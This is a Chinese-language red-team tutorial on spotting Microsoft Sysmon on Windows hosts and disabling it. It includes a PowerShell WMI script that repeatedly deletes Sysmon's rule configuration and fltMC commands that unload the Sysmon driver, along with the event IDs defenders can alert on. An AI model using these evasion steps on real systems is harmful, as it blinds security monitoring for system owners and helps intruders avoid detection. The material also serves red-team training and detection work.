如何规避Sysmon

一、前言

Sysmon是Mark Russinovich编写的一款工具,我曾在多篇文章中介绍过这款工具,也写过名为Posh-Sysmon的一个PowerShell模块来辅助用户生成相应的配置文件。Sysmon的主要目的是跟踪主机上是否潜在恶意行为,底层原理与Procmon类似。Sysmon与其他Sysinternals工具有所不同,会实际安装到主机上,将信息保存到Windows事件日志(Eventlog)中,以便用户使用SIEM(Security Information and Event Management,安全信息及事件管理)工具收集相应信息。

Sysmon可以记录如下信息:

  • 进程创建及结束
  • 进程修改文件创建时间
  • 网络连接
  • 驱动加载
  • 镜像加载
  • CreateRemoteThread调用
  • 以Raw访问方式读取文件
  • 某个进程读取另一个进程空间
  • 文件创建
  • 注册表事件
  • 管道事件
  • WMI永久事件(Permanent Events)

所有日志都会根据我们在使用sysmon.exe工具时指定的规则来收集并保存到注册表中。大多数企业环境会通过应用包管理方式来部署Sysmon,然后通过注册表的二进制bob推送方式将规则推送至目标主机。

 

二、定位Sysmon

作为红方或者渗透测试人员,我们首先要判断目标系统中是否存在Sysmon。通常情况下,当我们将Sysmon安装到系统中时,该工具会创建一个服务来加载驱动,对应的注册表键值中会存储服务及驱动的配置信息,安装事件清单(manifest)以定义事件并创建事件日志,将生成的事件存放在事件日志中。因此,我们可以根据多个位置来判断Sysmon的安装状态。遗憾的是,大多数攻击者都是惯性思维,喜欢使用最简单的解决方案。在目标定位方面,攻击者通常会选择如下一种方案:

  • 枚举进程
  • 枚举服务
  • 枚举C:\Windows\System32\Drivers下的驱动

最常见的操作就是枚举驱动,因为像Cylance之类的EDR解决方案会根据被调用的方式来隐藏服务名称,并且某些解决方案并没有运行进程。

正是考虑到这一点,Sysmon提供了一种功能,用户可以修改其可执行文件以及驱动的名称,在当前系统中混淆安装情况。

为了修改服务以及进程的名称,我们只需要重命名Sysmon可执行文件的名称即可。这一点非常有用,但从如下输出中,我们可以发现驱动名并没有发生改变:

PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i
System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

HPPrinterController installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting HPPrinterController..
HPPrinterController started.

为了修改驱动名,我们需要在安装过程中使用-d参数,输入指定的名称:

PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i -d hpprndrv


System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

HPPrinterController installed.
hpprndrv installed.
Starting hpprndrv.
hpprndrv started.
Starting HPPrinterController..
HPPrinterController started.

在卸载和更新服务的配置信息时,我们还需要注意到一点:我们必须用选定的名称来使用和拷贝Sysmon,并且配置数据所对应的注册表路径也需要使用同一个名称,这一点在Sysmon的升级和新规则应用方面非常重要。

我们可以使用fltmc.exe查看已被系统加载的过滤器驱动,观察驱动的altitude(高度)编号。如果我们的agent是Meterpreter、Beacon或者其他支持Mimikatz的载荷,那么我们也可以在Mimikatz中使用misc::mflt命令,在内存中列出驱动的altitude号。Sysmon驱动的altitude编号为385201

使用Mimikatz的执行结果如下所示:

mimikatz # misc::mflt
0 3     385201 hpprndrv
0 0     244000 storqosflt
0 1     189900 wcifs
0 0     180451 CldFlt
0 0     141100 FileCrypt
0 1     135000 luafv
0 1      46000 npsvctrig
0 3      40700 Wof
0 4      40500 FileInfo

使用fltMC.exe的执行结果如下所示:

PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0

如果我们处在更加复杂或者更为受限的环境中,运行fltmc.exe或者加载Mimikatz可能会触发安全警报。此时我们可以采用一种稍微不太准确的方法来判断Sysmon的事件日志文件是否存在。这至少可以让我们了解目前系统中是否存在Sysmon,或者是否曾经安装过Sysmon。具体方法就是检查HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational这个注册表路径。

PS C:\> ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels | Where-Object {$_.name -like "*sysmon*"}


    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels


Name                           Property
----                           --------
Microsoft-Windows-Sysmon/Opera OwningPublisher : {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
tional                         Enabled         : 1
                               Isolation       : 2
                               ChannelAccess   : O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)
                               MaxSize         : 67108864
                               MaxSizeUpper    : 0
                               Type            : 1

我们也可以检查注册表中的其他特征。Sysinternals工具在首次使用时会弹出许可证窗口,接受许可证就会在注册表中留下相关键值。对于Sysmon,这个键值位于当前用户的HKCU\Software\Sysinternals路径中:

PS C:\> ls HKCU:\Software\Sysinternals  | Select-Object name

Name
----
HKEY_CURRENT_USER\Software\Sysinternals\Process Explorer
HKEY_CURRENT_USER\Software\Sysinternals\Process Monitor
HKEY_CURRENT_USER\Software\Sysinternals\sigcheck
HKEY_CURRENT_USER\Software\Sysinternals\Streams
HKEY_CURRENT_USER\Software\Sysinternals\Strings
HKEY_CURRENT_USER\Software\Sysinternals\System Monitor
HKEY_CURRENT_USER\Software\Sysinternals\ZoomIt

如果用户修改了Sysmon的名称,也有一种办法能够定位这个服务。Sysmon对服务的描述为System Monitor service,即使用户修改了名称,这个描述依然保持不变。因此我们可以使用WMIC或者sc.exe,快速找到这个服务:

PS C:\> Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"

ProcessId Name                StartMode State   Status ExitCode
--------- ----                --------- -----   ------ --------
2220      HPPrinterController Auto      Running OK     0

 

三、规避Sysmon

绕过规则

我们有两种方法可以规避Sysmon。第一种方法直接寻找其规则中的盲点,另一种就是完全禁用规则。Matt Grabber经过逆向分析后,公开了注册表键值的具体格式。HarmJ0y开发了名为Seatbelt的一款.Net assembly(程序集)工具,我们可以在Cobalt Strike中使用该工具来加载内存中的配置信息。如果我们导出了注册表键值,Matt也提供了一个函数用来解析导出的数据。了解具体规则后,我们就可以围绕这些规则想解决办法。

删除配置信息

我们可以清除注册表中的规则表项,此时Sysmon会发现注册表已发生变化,自动重新加载配置,而由于配置中没有任何规则,因此Sysmon会暂时失效,具体时长取决于配置的维护方式。如果配置由配置管理系统(如Ansible、Chef或者DSC)来管理,那么可能需要几秒或者几分钟才能将配置恢复为原始状态;如果使用GPO来管理,那么当GPO更新时,可以在90分钟内恢复原始状态。为了解决这个问题,我们可以使用各种Windows技术(如.Net、VBS、PE文件等)创建VMI临时性Consumer(消费者)来监控相应的注册表项,当发现修改操作时,则删除修改数据或者重新设置表项内容。之所以使用临时的Consumer,是因为大多数安防解决方案会重点关注正在创建或修改的WMI永久事件。

$query = "SELECT * FROM RegistryKeyChangeEvent " + 
    "WHERE Hive ='HKEY_LOCAL_MACHINE' " + 
    "AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'"

Register-WMIEvent -Query $query -Action { 
    Write-host "Sysmon config updated, deleting config."
    Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" }

需要注意一点,此时Sysmon会恢复默认配置,因此会记录进程创建和进程终止事件。

如果我们想跟踪WMI过滤器的使用行为,那么如上操作会在WMI-Activity/Operational中留下日志,事件ID为5860EventData中的字段表明可能的原因为Temporary,日志中同样包含生成该事件的进程ID值。

有种例外情况,如果我们使用的是Sysmon 8.0,配置中包含针对进程创建和终止的每个过滤器的规则名(Rule Name),那么事件中则会包含空白的规则名。

我们也可以通过GPO在注册表键值上设置审核规则,在Security日志中生成4687事件,记录下修改注册表键值的用户及进程信息。如果该信息表明目标进程不是Sysmon,也不是因为GPO更新导致注册表修改,那么我们可以在SIEM中触发警告。

卸载SysmonDrv驱动

我们可以采取的另一个操作就是卸载SysmonDrv驱动,该驱动可以为Sysmon提供关于所有磁盘操作的信息,然后将信息写入事件日志中。如前文所述,该驱动有个唯一的altitude编号,如果我们以管理员权限运行,就可以卸载该驱动,然后Sysmon基本上就会完全处于失效状态。我们可以使用fltmc.exe工具来卸载驱动,如下所示,我们通过altitudde编号识别出了隐藏驱动,并成功卸载该驱动:

PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0
PS C:\> fltMC.exe unload hpprndrv
PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0

Sysmon会自动将上述操作作为执行的最后一条命令记录下来,因此我们可以在SIEM中将该特征作为触发特征,当执行此命令、使用卸载参数时就触发告警。

System日志中也会生成ID为1的事件,其中Source字段的值为FilterManagerTask Category字段的值为None

 

四、总结

在模拟对抗环境中识别目标服务时,我们需要通过多个指标定位目标,当成功识别后,也要获取多维度的信息,这些信息可以帮助我们分析对方网络团队的技术成熟度以及水平。

希望本文能给大家提供有价值的信息。

(完)